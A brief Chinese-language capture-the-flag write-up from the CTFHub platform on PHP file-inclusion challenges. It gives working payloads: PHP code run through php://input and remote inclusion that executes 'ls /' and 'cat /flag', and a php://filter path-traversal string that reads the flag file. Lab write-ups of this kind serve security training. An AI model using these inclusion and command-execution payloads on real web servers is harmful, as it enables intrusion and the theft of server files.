文件包含
题目告诉说flag不能直接被包含,但是下面有一个shell.txt,密码是ctfhub
复制URL
php://input
如果文件名前六个如果是:php://则执行include包含函数。
<?php eval(system('ls /'));?>
<?php eval(system('cat /flag_11978'));?>
远程包含
<?php eval(system('ls /'));?>
<?php eval(system('cat /flag'));?>
读取源代码
题目中直接说
flag in
/flag所以我们直接使用 php://filter
?file=php://filter/resource=../../../flag